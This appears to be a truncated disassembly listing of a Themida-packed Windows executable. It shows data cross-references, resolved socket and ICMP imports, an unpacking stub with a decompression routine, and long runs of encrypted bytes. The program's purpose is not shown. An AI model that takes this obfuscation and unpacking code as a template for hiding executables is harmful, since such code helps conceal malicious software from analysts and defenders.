; sub_40FF60+6B5r dword_447140 dd 0 ; sub_40FF60+1252r dd 5 dup(0) dword_447158 dd 10h dup(0) ; ___:0040405Fo ... db 2 dup(0) byte_44719A db 0 ; DATA XREF: sub_409A30r sub_409AA0r align 4 db 3 dup(0) byte_44719F db 0 ; DATA XREF: sub_40D580+10Fr db 0 byte_4471A1 db 0 ; DATA XREF: sub_40DB10r word_4471A2 dw 0 ; DATA XREF: sub_40DB10+9o dd 44h dup(0) db 3 dup(0) byte_4472B7 db 0 ; DATA XREF: ___:00412ECAo ; ___:00412F7Fo ... db 3 dup(0) byte_4472BB db 0 ; DATA XREF: sub_41F860:loc_41F89Dr align 10h dword_4472C0 dd 12h dup(0) ; sub_40FF60+114o db 0 byte_447309 db 3 dup(0) ; DATA XREF: ___:00408ADEo ; sub_40FF60+159o ... dd 11h dup(0) db 2 dup(0) word_447352 dw 0 ; DATA XREF: ___:00408AB5o ; sub_40FF60+132o dd 6 dup(0) word_44736C dw 0 ; DATA XREF: sub_40FF60+1E1r align 10h dd 0Ah dup(0) db 3 dup(0) byte_44739B db 0 ; DATA XREF: ___:00408B07o ; sub_40FF60+17Co ... dd 12h dup(0) dword_4473E4 dd 12h dup(0) ; sub_40FF60+F7o ... db 0 byte_44742D db 3 dup(0) ; DATA XREF: ___:00408A40o ; sub_40FF60+D0o ... dd 23h dup(0) db 3 dup(0) byte_4474BF db 0 ; DATA XREF: ___:00408B30o ; sub_40FF60+19Ao dd 24h dup(0) db 0 byte_447551 db 3 dup(0) ; DATA XREF: sub_425020+2Bo ; sub_425020+37o dd 11h dup(0) db 2 dup(0) word_44759A dw 0 ; DATA XREF: ___:00412E9Ao ; ___:00412EB9o ... dd 3Ch dup(0) db 3 dup(0) dword_44768F dd 0 ; sub_41EF30+154r ... align 4 dd 35h dup(0) db 0 byte_447769 db 0 ; DATA XREF: sub_41B950+18r align 4 dd 36h dup(0) byte_447844 db 0 ; DATA XREF: sub_40FF60+842r align 4 dd 0Bh dup(0) dword_447874 dd 18h dup(0) ; sub_40ED70+97o ... db 2 dup(0) byte_4478D6 db 0 ; DATA XREF: sub_404C70+258r ; sub_41D830+671r align 4 dd 11h dup(0) db 3 dup(0) byte_44791F db 0 ; DATA XREF: sub_404C70:loc_404EE0r ; sub_41D830:loc_41DEB9r dd 0Bh dup(0) db 3 dup(0) byte_44794F db 0 ; DATA XREF: sub_404C70+279o ; sub_41D830+692o ... dd 12h dup(0) dword_447998 dd 2Bh dup(0) ; sub_41EF30+630o ... dword_447A44 dd 0 dd 11h dup(0) db 0 dword_447A8D dd 0 align 4 dd 0D9h dup(0) byte_447DF8 db 0 ; DATA XREF: sub_41EF30+146r ; sub_41EF30+5EEr align 4 dd 3A8h dup(0) db 2 dup(0) word_448C9E dw 0 ; DATA XREF: sub_404640+1BDo ; sub_404B10+31o ... db 2 dup(0) word_448CA2 dw 0 ; DATA XREF: sub_404B10+4o dd 1Ch dup(0) db 2 dup(0) word_448D16 dw 0 ; DATA XREF: sub_407660+36o ; sub_4076F0+3Eo ... dd 26h dup(0) dword_448DB0 dd 86h dup(0) ; sub_404C70+27Eo ... db 3 dup(0) byte_448FCB db 0 ; DATA XREF: sub_425640+3Bw ; sub_4256B0+7Ew ... dd 7Fh dup(0) db 3 dup(0) dword_4491CB dd 0 ; sub_4256B0+4Fw ... dword_4491CF dd 0 ; ___:004240BDw ... dword_4491D3 dd 0 ; sub_4256B0+5Dr ... dword_4491D7 dd 0 ; sub_4256B0+8Cr ... dword_4491DB dd 0 ; sub_4256B0+9Dr dword_4491DF dd 0 ; ___:004240F1r ... byte_4491E3 db 0 ; DATA XREF: sub_425640+42w ; sub_4256B0+85w dd 3018h dup(0) db 3 dup(0) byte_455247 db 0 ; DATA XREF: ___:off_444F40o dword_455248 dd 0EB85h dup(0) dword_49005C dd 1147h dup(0) db 2 dup(0) word_49457A dw 0 ; DATA XREF: Themida_:005A46FBo ; Themida_:005A470Bo dword_49457C dd 9F5Bh dup(0) db 0 byte_4BC2E9 db 3 dup(0) ; DATA XREF: ___:off_402009o dword_4BC2EC dd 6058h dup(0) db 0 byte_4D444D db 3 dup(0) ; DATA XREF: ___:off_44433Co dd 6DEh dup(0) db 3 dup(0) dword_4D5FCB dd 0 ; sub_4258E0+13o align 10h dd 39h dup(0) db 0 byte_4D60B5 db 3 dup(0) ; DATA XREF: sub_404C20+1Eo ; sub_404C70+65o ... dd 5 dup(0) byte_4D60CC db 0 ; DATA XREF: sub_404C70+292w ; sub_404C70+4EEw dword_4D60CD dd 0 ; sub_422A40:loc_4231C4r ... align 4 dd 0 db 0 dword_4D60D9 dd 0 ; sub_404C20+2Aw byte_4D60DD db 3 dup(0) ; DATA XREF: ___:00412EF4o ; ___:00412F17o dd 9 dup(0) db 3 dup(0) dword_4D6107 dd 0 ; sub_427AD0:loc_427BC7r align 4 dd 2Fh dup(0) db 3 dup(0) byte_4D61CB db 0 ; DATA XREF: sub_425870+16o ; sub_4258A0+19o db 3 dup(0) byte_4D61CF db 0 ; DATA XREF: sub_4257A0+4Co dd 6Fh dup(0) db 3 dup(0) byte_4D638F db 0 ; DATA XREF: ___:004081C6o ; ___:00408657o ... dd 8 dup(0) dword_4D63B0 dd 0 dd 51h dup(0) db 0 byte_4D64F9 db 0 ; DATA XREF: sub_426820:loc_4268D0r ; sub_426CE0:loc_426D95r ... align 4 dd 9Eh dup(0) db 0 dword_4D6775 dd 0 ; sub_426CE0+7Dw ... align 4 dword_4D677C dd 1EDAh dup(0) db 0 byte_4DE2E5 db 3 dup(0) ; DATA XREF: ___:00419E93o ; sub_419F50+13o dword_4DE2E8 dd 1EB9h dup(0) db 3 dup(0) byte_4E5DCF db 0 ; DATA XREF: sub_426A60+1Do dd 21h dup(0) db 0 byte_4E5E55 db 3 dup(0) ; DATA XREF: ___:00419EA3o dd 235h dup(0) db 3 dup(0) byte_4E672F db 0 ; DATA XREF: sub_426A60+2Fo dd 1D5h dup(0) byte_4E6E84 db 0 ; DATA XREF: sub_404C70+299w ; sub_40FF60:loc_40FFA2r ... byte_4E6E85 db 3 dup(0) ; DATA XREF: sub_404C70+235o ; sub_404C70+87Ao ... dd 4 dup(0) db 2 dup(0) word_4E6E9A dw 0 ; DATA XREF: sub_404C70+2D4o ; ___:0040866Bo ... dd 0Fh dup(0) db 0 byte_4E6ED9 db 0 ; DATA XREF: sub_41F860+31w ; sub_41F860+47w ... db 0 byte_4E6EDB db 0 ; DATA XREF: sub_418490+21o ; sub_41D830+341o ... dword_4E6EDC dd 751Eh dup(0) dword_504354 dd 0AC6h dup(0) dword_506E6C dd 1000h dup(0) ; ___:00419A9Do ... dword_50AE6C dd 333h dup(0) ; ___:00419AB8o ... dword_50BB38 dd 0 ; sub_41A010+1Br ... dd 3 dup(0) dword_50BB48 dd 0 ; ___:0041FB3Dw ... dword_50BB4C dd 0 ; sub_41FA90+2Aw ... dword_50BB50 dd 0 dword_50BB54 dd 0 ; ___:0041FB5Bw dword_50BB58 dd 0 dword_50BB5C dd 0 ; ___:0041FB67w ... dword_50BB60 dd 0 ; ___:0041FB6Dw ... dword_50BB64 dd 0 ; ___:00420DA9o dword_50BB68 dd 0 ; sub_41FA90:loc_41FAB4r ... dword_50BB6C dd 0 ; ___:0041FB81w dword_50BB70 dd 0 ; sub_420530+41w ... dword_50BB74 dd 0 ; sub_420530+7Fr dword_50BB78 dd 0 ; sub_420530+92r ... dword_50BB7C dd 0 ; sub_420530+148r dd 3 dup(0) dword_50BB8C dd 0 ; ___:0041C1A5o dword_50BB90 dd 0 ; sub_423720+5r ... dword_50BB94 dd 0 ; ___:00423EB1r ... dd 7CEh dup(0) dword_50DAD0 dd 6 dup(0) ; ___:00423DB2o ... dword_50DAE8 dd 196h dup(0) ; sub_423660+6Do dword_50E140 dd 0 word_50E144 dw 0 ; DATA XREF: sub_424E90+A9r align 4 byte_50E148 db 0 ; DATA XREF: sub_4254E0:loc_425540r ; sub_4254E0+97w align 4 dword_50E14C dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_426820+D9r dword_50E150 dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_426820+45r dword_50E154 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_426820+54r ... dd 0 dword_50E15C dd 80h dup(0) ; sub_426A60+129o dword_50E35C dd 0 dword_50E360 dd 0 dd 1Dh dup(0) dword_50E3D8 dd 0 ; ___:0042B11Dr ... dword_50E3DC dd 0 ; sub_42CB10:loc_42CBA6r ... dword_50E3E0 dd 0 ; resolved to->WS2_32.connect ; sub_431280+2Dr ... dword_50E3E4 dd 0 dword_50E3E8 dd 0 ; sub_430270r ... dword_50E3EC dd 0 dword_50E3F0 dd 0 ; sub_42F6B0+111w ... dword_50E3F4 dd 0 ; sub_42F6B0+F6r ... dword_50E3F8 dd 0 ; ___:loc_4303B0r dword_50E3FC dd 0 ; resolved to->KERNEL32.InterlockedCompareExchange ; sub_430FE0+2Cr ... dd 2 dup(0) dd 0 dd 13Dh dup(0) dword_50E900 dd 10h dup(0) ; sub_430180:loc_4301B0o ... dword_50E940 dd 8 dup(0) ; sub_42F540+25o ... dword_50E960 dd 8 dup(0) ; sub_430690+25o ... dword_50E980 dd 8 dup(0) ; sub_431560+84o ... dword_50E9A0 dd 8 dup(0) ; sub_431560+8Bo ... dword_50E9C0 dd 9 dup(0) ; sub_42F6B0:loc_42F7C7o ... dd 0FFFFFFFFh, 3 dup(0) dd 0FFFFFFFFh, 182h dup(0) dd 5 dup(2F06C2B1h), 5 dup(44D568C4h), 5 dup(700B6C69h) dd 5 dup(51A91ACEh), 5 dup(23E451B2h), 5 dup(53DC040Bh) dd 5 dup(62D31A60h), 5 dup(4FECA3FAh), 5 dup(4FD5C522h) dd 5 dup(1C07C897h), 5 dup(31EAC45Ah), 1Eh dup(0) dd 53DC040Bh, 10h dup(0) dd 31EAC45Ah, 58h dup(0) dd 51A91ACEh, 1Bh dup(0) dd 4FD5C522h, 14h dup(0) dd 44D568C4h, 52h dup(0) dd 2F06C2B1h, 1Bh dup(0) dd 1C07C897h, 0Bh dup(0) dd 62D31A60h, 0Ch dup(0) dd 23E451B2h, 2Bh dup(0) dd 4FECA3FAh, 11h dup(0) dd 700B6C69h, 0Ah dup(0) dd 2880457h, 2890000h, 28A0000h dword_50F710 dd 28A1452h dd 28A1625h dword_50F718 dd 28A193Fh dd 28A1C77h, 28B0000h dword_50F724 dd 28C0000h dd 28D0000h, 28D038Ch, 28D077Fh, 28D0BEDh dword_50F738 dd 28E0000h ; sub_40E7A0+25Ar ... dword_50F73C dd 28E04F4h dword_50F740 dd 28E0747h dd 28E086Ch, 28E0B12h dword_50F74C dd 28F0000h ; sub_40ED70+15Er ... dd 28F0302h dword_50F754 dd 2900000h ; sub_40E7A0+22Cr dd 2900D00h dword_50F75C dd 2910000h ; sub_4207E0+285r ... dd 2920000h dword_50F764 dd 2921084h ; sub_40E7A0+24Cr dd 10h dup(0) dd 76F36C5Bh, 0Bh dup(0) dd 26F0000h, 26F0153h, 2700000h, 270066Dh, 2700812h, 2700ACDh dd 2700C3Bh, 2710000h, 27106A6h, 2710AEAh, 2710DE4h, 2720000h dd 2720691h, 27206EFh, 2720AABh, 2730000h, 27303D7h, 2730825h dd 273098Fh, 2730CE6h, 2740000h, 2740531h, 27405D5h, 274087Bh dd 2740A07h, 2740C3Ah, 2750000h, 27502A3h, 2750455h, 275059Fh dd 275072Fh, 27507D7h dword_50F858 dd 2760000h dword_50F85C dd 27606B3h dword_50F860 dd 276085Eh dd 7C901005h, 7C9010EDh, 2760A2Ch dd 2760A89h dword_50F874 dd 2770000h ; sub_420530+FEr dd 27706BAh, 2780000h, 278030Ch, 278076Fh, 2790000h, 27A0000h dd 27A08E0h, 27B0000h, 27C0000h, 27C07DCh dword_50F8A0 dd 27D0000h ; sub_420530:loc_42057Cr ... dword_50F8A4 dd 27D07CDh ; sub_40FF60+47r ... db 0CCh db 8, 7Dh, 2 dd 27E0000h, 27E0617h, 27F0000h, 27F113Bh, 2800000h, 2810000h dword_50F8C4 dd 28113FEh dd 28115A0h, 28119E3h dword_50F8D0 dd 2811D0Bh ; sub_41B4B0+2Fr ... dd 2820000h dword_50F8D8 dd 282071Eh ; sub_4203D0+2Er ... dd 2820B76h, 2830000h, 2830B0Eh dword_50F8E8 dd 2840000h dd 2840212h, 2850000h, 2860000h, 286120Fh, 2861CD4h, 2870000h dd 28705FAh, 2870B00h dd 2870C97h dd 1Ah dup(0) dd 71B2578Ch, 71B25099h, 0Bh dup(0) dword_50F9AC dd 760AC190h dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh, 0Dh dup(0) dd 77C4EE2Fh, 77C35C94h, 77C3537Ch, 77C1F1DBh, 77C1F1A4h dd 77C623D8h, 77C4D675h, 77C227FAh, 77C1EEEBh, 77C617ACh dd 77C32DAEh, 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h dd 77C40BB1h, 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h dd 77C3A3DBh, 77C4186Ah dword_50FA60 dd 77C3F931h ; resolved to->MSVCRT.sprintf ; sub_42D2C0+53r ... dword_50FA64 dd 77C1F2BCh ; resolved to->MSVCRT._errno dd 77C371FAh, 77C36DF2h, 77C39D67h, 77C1C561h dword_50FA78 dd 77C5F988h ; resolved to->MSVCRT._pctype; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0C0h, 0C2h, 77h dword_50FA80 dd 77C40E13h ; resolved to->MSVCRT.fprintfdword_50FA84 dd 77C5FC80h ; resolved to->MSVCRT._iob ; sub_42CB10+4Ar ... ; --------------------------------------------------------------------------- imul dh retn ; --------------------------------------------------------------------------- db 77h dd 77C41B72h dword_50FA90 dd 77C47BE0h ; resolved to->MSVCRT.strrchrdword_50FA94 dd 77C4173Bh ; resolved to->MSVCRT.fwritedword_50FA98 dd 77C4139Ch ; resolved to->MSVCRT.fseekdword_50FA9C dd 77C4624Eh ; resolved to->MSVCRT._stricmpdword_50FAA0 dd 77C41574h ; resolved to->MSVCRT.ftelldword_50FAA4 dd 77C411FBh ; resolved to->MSVCRT.fread dd 77C40E76h dword_50FAAC dd 77C47E61h ; resolved to->MSVCRT.wcscat ; ___:0041C2DAr ; --------------------------------------------------------------------------- adc al, dh retn ; --------------------------------------------------------------------------- db 77h dd 77C40AB1h, 77C4FA10h dword_50FABC dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_41B950+17Er ... dd 77C371BCh dword_50FAC4 dd 77C2C21Bh ; resolved to->MSVCRT.free ; sub_42DFD0+34r ... dd 77C2C407h dword_50FACC dd 77C47920h ; resolved to->MSVCRT.strncat dd 77C39E7Eh dword_50FAD4 dd 77C47A50h ; resolved to->MSVCRT.strncmp ; sub_42CB10+90r dword_50FAD8 dd 77C3FA76h ; resolved to->MSVCRT._snprintf db 90h db 0CFh, 0C1h, 77h dword_50FAE0 dd 77C47660h ; resolved to->MSVCRT.strchr db 8Ah, 0FFh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 77h ; --------------------------------------------------------------------------- mul byte ptr [esi] retn 0E777h ; --------------------------------------------------------------------------- db 14h, 0C2h, 77h dd 77C29CC5h dword_50FAF4 dd 77C47CE5h ; resolved to->MSVCRT.strtok ; sub_41BC90+5Dr dword_50FAF8 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_40FF60+1126r ... dword_50FAFC dd 77C47A90h ; resolved to->MSVCRT.strncpy ; ___:00419BDAr dd 77C29CDDh, 77C293C7h dword_50FB08 dd 77C1BF18h ; resolved to->MSVCRT.atoi ; sub_422A40+203r ... dd 77C35F0Dh, 77C46170h dword_50FB14 dd 77C5F97Ch ; resolved to->MSVCRT.__mb_cur_max dd 77C46125h dd 77C46320h dd 19h dup(0) dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh dup(0) dd 7CA41110h, 0Bh dup(0) dd 2880000h off_50FBF0 dd offset sub_5EDAB2 ; DATA XREF: ___:00419EBDr ; sub_419F50+2Dr ... dd 0Bh dup(0) dword_50FC20 dd 71AB2B66h ; resolved to->WS2_32.ntohs dd 71AB951Eh, 71AB3E00h dword_50FC2C dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_425020:loc_4250C9r ... dword_50FC30 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_42A5F0:loc_42A6ABr dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h dword_50FC44 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError dd 71AB4544h, 71AB88D3h dword_50FC50 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_42B540+E8r dd 71AB2BC0h dword_50FC58 dd 71AB2D0Fh ; resolved to->WS2_32.recvfromdword_50FC5C dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_42A5F0+F9r dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh dd 71AB2A5Eh dword_50FC78 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa dd 71AB2BC0h dword_50FC80 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_41A6D0+48r ... dword_50FC84 dd 71AC1028h ; resolved to->WS2_32.acceptdword_50FC88 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_41F860+198r ... dword_50FC8C dd 71AB428Ah ; resolved to->WS2_32.send ; ___:004216E1r ... dword_50FC90 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_427AD0+18Dr ... dd 71AB2BF4h, 71ABE479h, 71AC0B50h, 71AB4FD4h, 11h dup(0) dd 76D6AC1Dh, 4C5h dup(0) ___ ends ; Section 2. (virtual address 00111000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00111000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 511000h align 2000h _rsrc___ ends ; Section 3. (virtual address 00112000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00112000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 512000h dd 7C801A24h, 7C81CDDAh, 0 aE db 'Ïe',9,']',0 align 10h dd 112050h, 112000h, 3 dup(0) dd 112079h, 11200Ch, 5 dup(0) aKernel32_dll_1 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 00113000) ; Virtual size : 000F9000 (1019904.) ; Section size in file : 000F9000 (1019904.) ; Offset to raw data for section: 00113000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 513000h dd 8BF0018h, 40C0Fh, 5EA06h, 158172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 00513265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0057C2CA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0057F81B SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0057FA91 SIZE 00000049 BYTES ; FUNCTION CHUNK AT 0057FAEC SIZE 00000093 BYTES ; FUNCTION CHUNK AT 0057FBB5 SIZE 00000016 BYTES mov eax, 0 pusha or eax, eax jz short loc_513086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_513041 popa jmp short loc_513076 ; --------------------------------------------------------------------------- a70q db 'Û-70Q',0 db 0FFh dd 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_513041: ; CODE XREF: start+18j call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_51304E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_51306D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_513074 loc_51306D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_51304E ; --------------------------------------------------------------------------- loc_513074: ; CODE XREF: start+57j mov edi, eax loc_513076: ; CODE XREF: start+1Bj jmp loc_513265 ; --------------------------------------------------------------------------- db 3 dd 326AB9C7h, 0CF030011h db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_513086: ; CODE XREF: start+8j mov eax, offset loc_57C2CA mov ecx, offset word_51326A push eax push ecx call sub_51311B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_513265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- aUFkxB db '(“ÉäŠx¼^',0 dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h, 3163C78Eh dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh dd 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_51311B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_513127: ; CODE XREF: sub_51311B:loc_51313Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_513132: ; CODE XREF: sub_51311B+7Aj ; sub_51311B+C3j ... add dl, dl jnz short loc_51313B mov dl, [esi] inc esi adc dl, dl loc_51313B: ; CODE XREF: sub_51311B+19j jnb short loc_513127 add dl, dl jnz short loc_513146 mov dl, [esi] inc esi adc dl, dl loc_513146: ; CODE XREF: sub_51311B+24j jnb short loc_513197 xor eax, eax add dl, dl jnz short loc_513153 mov dl, [esi] inc esi adc dl, dl loc_513153: ; CODE XREF: sub_51311B+31j jnb loc_513238 add dl, dl jnz short loc_513162 mov dl, [esi] inc esi adc dl, dl loc_513162: ; CODE XREF: sub_51311B+40j adc eax, eax add dl, dl jnz short loc_51316D mov dl, [esi] inc esi adc dl, dl loc_51316D: ; CODE XREF: sub_51311B+4Bj adc eax, eax add dl, dl jnz short loc_513178 mov dl, [esi] inc esi adc dl, dl loc_513178: ; CODE XREF: sub_51311B+56j adc eax, eax add dl, dl jnz short loc_513183 mov dl, [esi] inc esi adc dl, dl loc_513183: ; CODE XREF: sub_51311B+61j adc eax, eax jz short loc_51318D push edi sub edi, eax mov al, [edi] pop edi loc_51318D: ; CODE XREF: sub_51311B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_513132 ; --------------------------------------------------------------------------- loc_513197: ; CODE XREF: sub_51311B:loc_513146j mov eax, 1 loc_51319C: ; CODE XREF: sub_51311B:loc_5131B0j add dl, dl jnz short loc_5131A5 mov dl, [esi] inc esi adc dl, dl loc_5131A5: ; CODE XREF: sub_51311B+83j adc eax, eax add dl, dl jnz short loc_5131B0 mov dl, [esi] inc esi adc dl, dl loc_5131B0: ; CODE XREF: sub_51311B+8Ej jb short loc_51319C sub eax, ebx mov ebx, 1 jnz short loc_5131E3 mov ecx, 1 loc_5131C0: ; CODE XREF: sub_51311B:loc_5131D4j add dl, dl jnz short loc_5131C9 mov dl, [esi] inc esi adc dl, dl loc_5131C9: ; CODE XREF: sub_51311B+A7j adc ecx, ecx add dl, dl jnz short loc_5131D4 mov dl, [esi] inc esi adc dl, dl loc_5131D4: ; CODE XREF: sub_51311B+B2j jb short loc_5131C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_513132 ; --------------------------------------------------------------------------- loc_5131E3: ; CODE XREF: sub_51311B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_5131F1: ; CODE XREF: sub_51311B:loc_513205j add dl, dl jnz short loc_5131FA mov dl, [esi] inc esi adc dl, dl loc_5131FA: ; CODE XREF: sub_51311B+D8j adc ecx, ecx add dl, dl jnz short loc_513205 mov dl, [esi] inc esi adc dl, dl loc_513205: ; CODE XREF: sub_51311B+E3j jb short loc_5131F1 cmp eax, 7D00h jnb short loc_513228 cmp eax, 500h jb short loc_513223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_513132 ; --------------------------------------------------------------------------- loc_513223: ; CODE XREF: sub_51311B+F8j cmp eax, 7Fh ja short loc_51322B loc_513228: ; CODE XREF: sub_51311B+F1j add ecx, 2 loc_51322B: ; CODE XREF: sub_51311B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_513132 ; --------------------------------------------------------------------------- loc_513238: ; CODE XREF: sub_51311B:loc_513153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_513259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_513132 ; --------------------------------------------------------------------------- loc_513259: ; CODE XREF: sub_51311B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_51311B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_513265: ; CODE XREF: start:loc_513076j ; start+9Dj jmp loc_57C2CA ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_51326A dw 38E9h ; DATA XREF: start+77o dd 153354Ch, 4D0A1BFh, 1D13FC2h, 0C77F35C2h, 7C550878h dd 465728B3h, 1BE10311h, 8401F3BFh, 9288AB6Bh, 5F57ECACh dd 0E1033646h, 98F2BE1Eh, 75BC6F29h, 0E10324E6h, 112E3512h dd 71C8EFEFh, 0ABFB43B8h, 43B821C8h, 843B22F2h, 6854C06Fh dd 38696D65h, 0AA466164h, 0E11E33A2h, 52FCEE0Eh, 74736507h dd 41337261h, 0D32E8B70h, 7F08E778h, 0DD080167h, 0C58B0ED7h dd 0E860D443h, 815D4084h, 3355BEDh, 95890613h, 0D3F08B9h dd 3D3422B5h, 83C0E585h, 11CDBD10h, 0C740E70h, 0E245E88Bh dd 0C28588B8h, 44708EF7h, 813E3824h, 456A8030h, 29A3E830h dd 3D749A68h, 0DF280783h, 4B250F0Ah, 0D5480A89h, 214E985h dd 55E8EC2Bh, 83EC8B05h, 0EE60D8C4h, 20EA815Ah, 8B043649h dd 0D845C7DAh, 0E8C088Dh, 81088940h, 80637D7Eh, 3F0F741Dh dd 83920820h, 0FF104CB3h, 0EB314312h, 61DC36E1h, 0C90A26BAh dd 34604C2h, 0FF7CC481h, 22490247h, 458D0092h, 85D8B80h dd 19A285C7h, 8D5025h, 88C3D10Ah, 89544118h, 0BD51810Bh dd 755D0106h, 14274AE3h, 7664BA8Dh, 8A807502h, 48F4BB0Eh dd 7ABB85Bh, 0D3785437h, 80FE6D0h, 0F7754B1Dh, 47C3AF82h dd 314A9246h, 4251F946h, 8A5D61D1h, 0AFF0D003h, 5045EEECh dd 51EB4DFCh, 46E4AD04h, 403E6280h, 849BBAF7h, 7D0C3473h dd 3E7FEB0Ch, 6D6486F8h, 0E26F012h, 4A10F454h, 0F065C10Ah dd 0F801D604h, 0C203E0D1h, 332800CBh, 301C8ADBh, 72E6FB80h dd 390A0A61h, 0EBE90577h, 3F2293F7h, 0DB36114h, 8FB660Ah dd 0C3FA1E7Ah, 10610A75h, 0B72411Ah, 77460A86h, 10F52406h dd 0C3F05D01h, 7D83F4ECh, 0B0720298h, 76C00CD9h, 0AA32A5BBh dd 700EF826h, 0A8508D3Bh, 0FC55053Bh, 4E78820Fh, 0AA0DB0BDh dd 0BA87F238h, 5B90708h, 0BDFC4270h, 0FE0037D8h, 0E49470Fh dd 22B9FA75h, 0BBE06A2Eh, 0F1123101h, 6EEB823Bh, 868EC002h dd 1C1439B6h, 1F655107h, 8AEEA236h, 0E9892677h, 825920F2h dd 0E2E2C7ECh, 0C32C0B06h, 1D13EAh, 0E014CB8Ah, 299B944Ah dd 0A6C56E00h, 22ABC19Fh, 355937F1h, 0F6B65C54h, 34CB8C1Ch dd 39826700h, 1765B4Eh, 51B8100Fh, 0F1D1043Dh, 8746D93Bh dd 2E09755Eh, 20E1156h, 65E4EC48h, 4E800690h, 8E05C584h dd 0D7C99632h, 42A3C53h, 8C0629C2h, 0E7820571h, 98A2DD0Eh dd 77812BFFh, 1D220460h, 0C84C134h, 207533F9h, 0BB833FBCh dd 39EFB30Ah, 419C0230h, 7F8C4CECh, 40FCFFCCh, 52457F86h dd 628060E9h, 4D8C52C4h, 82112504h, 0AB26B1AAh, 13845A68h dd 0D1305645h, 55EE825Eh, 0F20281D4h, 0D58A2792h, 231310B9h dd 47439729h, 4568C6Bh, 725E2188h, 6D8A14C4h, 45339425h dd 21001C08h, 0DAC45646h, 1FDD32Eh, 2C2A84A0h, 31E08C67h dd 0EA088CCCh, 1E62F0Bh, 0D124CC8Eh, 0F84A8480h, 8D0C67F0h dd 2515E9DAh, 0ACDB0028h, 0CC50EECBh, 8500C4E6h, 80363C09h dd 79F845Fh, 676BDFD7h, 5C5BD0BCh, 507E281h, 0FA57B0B4h dd 10CA0B80h, 53406386h, 3EB9C8F6h, 2874218h, 0E4F0EE91h dd 